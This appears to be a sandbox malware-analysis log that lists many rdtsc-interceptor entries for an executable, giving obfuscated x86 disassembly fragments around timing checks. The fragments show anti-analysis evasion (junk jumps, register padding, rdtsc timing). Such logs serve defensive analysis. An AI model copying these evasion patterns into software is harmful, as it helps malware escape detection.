Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610658 second address: 76106D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+5Ch] 0x0000000c pushad 0x0000000d jmp 00007FA37887CBF4h 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FA37887CBF0h 0x00000019 add ch, 00000038h 0x0000001c jmp 00007FA37887CBEBh 0x00000021 popfd 0x00000022 call 00007FA37887CBF8h 0x00000027 pop esi 0x00000028 popad 0x00000029 popad 0x0000002a mov dword ptr [esi+20h], eax 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FA37887CBECh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76106D4 second address: 7610709 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+60h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx edi, si 0x00000012 pushfd 0x00000013 jmp 00007FA378880E2Ch 0x00000018 adc cl, 00000028h 0x0000001b jmp 00007FA378880E2Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610709 second address: 761070F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761070F second address: 7610755 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+24h], eax 0x0000000e jmp 00007FA378880E36h 0x00000013 mov eax, dword ptr [ebx+64h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FA378880E37h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610755 second address: 761075B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761075B second address: 761075F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761075F second address: 76107CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+28h], eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FA37887CBEDh 0x00000012 adc esi, 12F07506h 0x00000018 jmp 00007FA37887CBF1h 0x0000001d popfd 0x0000001e mov ch, 40h 0x00000020 popad 0x00000021 mov eax, dword ptr [ebx+68h] 0x00000024 jmp 00007FA37887CBF3h 0x00000029 mov dword ptr [esi+2Ch], eax 0x0000002c jmp 00007FA37887CBF6h 0x00000031 mov ax, word ptr [ebx+6Ch] 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76107CD second address: 76107D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76107D1 second address: 76107EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76107EE second address: 76107FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA378880E2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76107FE second address: 7610816 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov word ptr [esi+30h], ax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA37887CBEAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610816 second address: 76108F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, F374h 0x00000007 push edi 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ax, word ptr [ebx+00000088h] 0x00000013 jmp 00007FA378880E2Fh 0x00000018 mov word ptr [esi+32h], ax 0x0000001c pushad 0x0000001d mov bx, ax 0x00000020 pushfd 0x00000021 jmp 00007FA378880E30h 0x00000026 jmp 00007FA378880E35h 0x0000002b popfd 0x0000002c popad 0x0000002d mov eax, dword ptr [ebx+0000008Ch] 0x00000033 jmp 00007FA378880E2Eh 0x00000038 mov dword ptr [esi+34h], eax 0x0000003b jmp 00007FA378880E30h 0x00000040 mov eax, dword ptr [ebx+18h] 0x00000043 pushad 0x00000044 mov edx, ecx 0x00000046 push esi 0x00000047 mov ecx, edx 0x00000049 pop ebx 0x0000004a popad 0x0000004b mov dword ptr [esi+38h], eax 0x0000004e jmp 00007FA378880E30h 0x00000053 mov eax, dword ptr [ebx+1Ch] 0x00000056 jmp 00007FA378880E30h 0x0000005b mov dword ptr [esi+3Ch], eax 0x0000005e jmp 00007FA378880E30h 0x00000063 mov eax, dword ptr [ebx+20h] 0x00000066 jmp 00007FA378880E30h 0x0000006b mov dword ptr [esi+40h], eax 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007FA378880E2Ah 0x00000077 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76108F7 second address: 76108FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76108FD second address: 761092E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+00000080h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA378880E37h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761092E second address: 7610946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA37887CBF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610946 second address: 76109C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000001h 0x0000000a jmp 00007FA378880E37h 0x0000000f nop 0x00000010 jmp 00007FA378880E36h 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FA378880E2Ch 0x0000001f sub al, FFFFFF88h 0x00000022 jmp 00007FA378880E2Bh 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007FA378880E38h 0x0000002e adc ch, FFFFFFE8h 0x00000031 jmp 00007FA378880E2Bh 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76109C7 second address: 7610A15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b call 00007FA37887CBECh 0x00000010 call 00007FA37887CBF2h 0x00000015 pop esi 0x00000016 pop edi 0x00000017 mov eax, 3E0D23A7h 0x0000001c popad 0x0000001d lea eax, dword ptr [ebp-10h] 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610A15 second address: 7610A19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610A19 second address: 7610A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610A1F second address: 7610ABA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA378880E2Ch 0x00000009 or esi, 68F22408h 0x0000000f jmp 00007FA378880E2Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FA378880E38h 0x0000001b and cx, 4668h 0x00000020 jmp 00007FA378880E2Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 nop 0x0000002a jmp 00007FA378880E36h 0x0000002f push eax 0x00000030 jmp 00007FA378880E2Bh 0x00000035 nop 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 pushfd 0x0000003a jmp 00007FA378880E32h 0x0000003f or eax, 18869B28h 0x00000045 jmp 00007FA378880E2Bh 0x0000004a popfd 0x0000004b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610AE7 second address: 7610B28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b jmp 00007FA37887CBF0h 0x00000010 test edi, edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FA37887CBF7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610B28 second address: 7610B2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610DD2 second address: 7610DEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610DEF second address: 7610DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA378880E2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610DFF second address: 7610E03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610E99 second address: 7610EF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FA3E6B9F61Fh 0x0000000f jmp 00007FA378880E2Eh 0x00000014 mov eax, dword ptr [ebp-14h] 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FA378880E2Eh 0x0000001e or cl, FFFFFFD8h 0x00000021 jmp 00007FA378880E2Bh 0x00000026 popfd 0x00000027 push eax 0x00000028 push edx 0x00000029 mov edx, ecx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610EF0 second address: 7610F4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ecx, esi 0x00000009 jmp 00007FA37887CBEEh 0x0000000e mov dword ptr [esi+0Ch], eax 0x00000011 jmp 00007FA37887CBF0h 0x00000016 mov edx, 759B06ECh 0x0000001b jmp 00007FA37887CBF0h 0x00000020 sub eax, eax 0x00000022 pushad 0x00000023 mov edx, 06B89562h 0x00000028 movsx edi, si 0x0000002b popad 0x0000002c lock cmpxchg dword ptr [edx], ecx 0x00000030 pushad 0x00000031 pushad 0x00000032 mov edx, 255104E0h 0x00000037 popad 0x00000038 push eax 0x00000039 push edx 0x0000003a mov edi, 6714FA6Ah 0x0000003f rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610F4E second address: 7610F7E instructions: 0x00000000 rdtsc 0x00000002 mov cx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edi 0x00000009 pushad 0x0000000a mov dh, 93h 0x0000000c popad 0x0000000d test eax, eax 0x0000000f pushad 0x00000010 jmp 00007FA378880E33h 0x00000015 popad 0x00000016 jne 00007FA3E6B9F590h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610F7E second address: 7610F84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610F84 second address: 7610F8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7610F8A second address: 7611049 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+08h] 0x0000000e jmp 00007FA37887CBF0h 0x00000013 mov eax, dword ptr [esi] 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FA37887CBEEh 0x0000001c and ecx, 2F6E8E48h 0x00000022 jmp 00007FA37887CBEBh 0x00000027 popfd 0x00000028 mov si, E1BFh 0x0000002c popad 0x0000002d mov dword ptr [edx], eax 0x0000002f pushad 0x00000030 mov dx, si 0x00000033 movzx esi, di 0x00000036 popad 0x00000037 mov eax, dword ptr [esi+04h] 0x0000003a jmp 00007FA37887CBEFh 0x0000003f mov dword ptr [edx+04h], eax 0x00000042 jmp 00007FA37887CBF6h 0x00000047 mov eax, dword ptr [esi+08h] 0x0000004a pushad 0x0000004b mov bx, cx 0x0000004e popad 0x0000004f mov dword ptr [edx+08h], eax 0x00000052 jmp 00007FA37887CBEFh 0x00000057 mov eax, dword ptr [esi+0Ch] 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007FA37887CBF5h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7611049 second address: 7611059 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA378880E2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7611059 second address: 761109F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx+0Ch], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FA37887CBEBh 0x00000017 or eax, 1A90BE0Eh 0x0000001d jmp 00007FA37887CBF9h 0x00000022 popfd 0x00000023 push ecx 0x00000024 pop edx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761109F second address: 761117A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+10h] 0x0000000c jmp 00007FA378880E2Eh 0x00000011 mov dword ptr [edx+10h], eax 0x00000014 jmp 00007FA378880E30h 0x00000019 mov eax, dword ptr [esi+14h] 0x0000001c pushad 0x0000001d movzx ecx, di 0x00000020 mov ebx, 5168617Eh 0x00000025 popad 0x00000026 mov dword ptr [edx+14h], eax 0x00000029 jmp 00007FA378880E35h 0x0000002e mov eax, dword ptr [esi+18h] 0x00000031 jmp 00007FA378880E2Eh 0x00000036 mov dword ptr [edx+18h], eax 0x00000039 jmp 00007FA378880E30h 0x0000003e mov eax, dword ptr [esi+1Ch] 0x00000041 jmp 00007FA378880E30h 0x00000046 mov dword ptr [edx+1Ch], eax 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007FA378880E2Dh 0x00000052 xor ah, FFFFFFC6h 0x00000055 jmp 00007FA378880E31h 0x0000005a popfd 0x0000005b pushfd 0x0000005c jmp 00007FA378880E30h 0x00000061 add al, 00000068h 0x00000064 jmp 00007FA378880E2Bh 0x00000069 popfd 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761117A second address: 761123D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+20h] 0x0000000c jmp 00007FA37887CBEEh 0x00000011 mov dword ptr [edx+20h], eax 0x00000014 pushad 0x00000015 mov di, cx 0x00000018 call 00007FA37887CBEAh 0x0000001d pushfd 0x0000001e jmp 00007FA37887CBF2h 0x00000023 sbb ecx, 4A9C9058h 0x00000029 jmp 00007FA37887CBEBh 0x0000002e popfd 0x0000002f pop esi 0x00000030 popad 0x00000031 mov eax, dword ptr [esi+24h] 0x00000034 jmp 00007FA37887CBEFh 0x00000039 mov dword ptr [edx+24h], eax 0x0000003c jmp 00007FA37887CBF6h 0x00000041 mov eax, dword ptr [esi+28h] 0x00000044 pushad 0x00000045 mov eax, 38EC6B3Dh 0x0000004a jmp 00007FA37887CBEAh 0x0000004f popad 0x00000050 mov dword ptr [edx+28h], eax 0x00000053 jmp 00007FA37887CBF0h 0x00000058 mov ecx, dword ptr [esi+2Ch] 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e mov esi, edi 0x00000060 push ebx 0x00000061 pop eax 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761123D second address: 7611243 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7611243 second address: 761125E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx+2Ch], ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761125E second address: 7611262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7611262 second address: 7611268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7611268 second address: 7611359 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ax, word ptr [esi+30h] 0x0000000d jmp 00007FA378880E30h 0x00000012 mov word ptr [edx+30h], ax 0x00000016 pushad 0x00000017 jmp 00007FA378880E2Eh 0x0000001c pushfd 0x0000001d jmp 00007FA378880E32h 0x00000022 adc ah, FFFFFF98h 0x00000025 jmp 00007FA378880E2Bh 0x0000002a popfd 0x0000002b popad 0x0000002c mov ax, word ptr [esi+32h] 0x00000030 pushad 0x00000031 mov di, cx 0x00000034 jmp 00007FA378880E30h 0x00000039 popad 0x0000003a mov word ptr [edx+32h], ax 0x0000003e jmp 00007FA378880E30h 0x00000043 mov eax, dword ptr [esi+34h] 0x00000046 pushad 0x00000047 mov esi, 79F8C07Dh 0x0000004c movzx esi, dx 0x0000004f popad 0x00000050 mov dword ptr [edx+34h], eax 0x00000053 pushad 0x00000054 push ebx 0x00000055 pushfd 0x00000056 jmp 00007FA378880E2Eh 0x0000005b adc ax, 1288h 0x00000060 jmp 00007FA378880E2Bh 0x00000065 popfd 0x00000066 pop eax 0x00000067 jmp 00007FA378880E39h 0x0000006c popad 0x0000006d test ecx, 00000700h 0x00000073 push eax 0x00000074 push edx 0x00000075 jmp 00007FA378880E2Dh 0x0000007a rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7611359 second address: 7611402 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FA3E6B9AF8Fh 0x0000000f pushad 0x00000010 push eax 0x00000011 mov di, 4CDEh 0x00000015 pop ebx 0x00000016 pushfd 0x00000017 jmp 00007FA37887CBF4h 0x0000001c and cx, 49A8h 0x00000021 jmp 00007FA37887CBEBh 0x00000026 popfd 0x00000027 popad 0x00000028 or dword ptr [edx+38h], FFFFFFFFh 0x0000002c jmp 00007FA37887CBF6h 0x00000031 or dword ptr [edx+3Ch], FFFFFFFFh 0x00000035 jmp 00007FA37887CBF0h 0x0000003a or dword ptr [edx+40h], FFFFFFFFh 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007FA37887CBF8h 0x00000047 adc si, B198h 0x0000004c jmp 00007FA37887CBEBh 0x00000051 popfd 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7611402 second address: 7611408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7611408 second address: 761140C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 761140C second address: 7611410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7650B1C second address: 7650B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA37887CBECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7650B2C second address: 7650B60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FA378880E36h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov ebx, 398B15C4h 0x00000018 pushad 0x00000019 push ebx 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600765 second address: 760077D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA37887CBF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 760077D second address: 7600781 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 7600781 second address: 76007D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FA37887CBEAh 0x0000000f pushfd 0x00000010 jmp 00007FA37887CBF2h 0x00000015 xor esi, 451D6C18h 0x0000001b jmp 00007FA37887CBEBh 0x00000020 popfd 0x00000021 popad 0x00000022 mov dword ptr [esp], ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FA37887CBF0h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76007D2 second address: 76007D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 76007D8 second address: 76007E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, cx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75A002C second address: 75A0030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75A0030 second address: 75A0036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75A0A88 second address: 75A0A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75A0A8C second address: 75A0A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75A0A92 second address: 75A0ACD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA378880E2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA378880E36h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA378880E2Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75A0ACD second address: 75A0B17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA37887CBEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov al, B2h 0x0000000d mov dh, A7h 0x0000000f popad 0x00000010 mov ebp, esp 0x00000012 jmp 00007FA37887CBF8h 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FA37887CBF7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75F0A20 second address: 75F0A26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75F0A26 second address: 75F0A79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA37887CBECh 0x00000009 jmp 00007FA37887CBF5h 0x0000000e popfd 0x0000000f mov cx, 8797h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov ebp, esp 0x00000018 jmp 00007FA37887CBEAh 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FA37887CBF7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\4o4t8dO4r1.exeRDTSC instruction interceptor: First address: 75D0015 second address: 75D0063 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA378880E37h 0x00000008 pushfd 0x00000009 jmp 00007FA378880E38h 0x0000000e adc cx, 6858h 0x00000013 jmp 00007FA378880E2Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push ebx 0x00000021 pop esi 0x00000022 popad 0x00000023 rdtsc
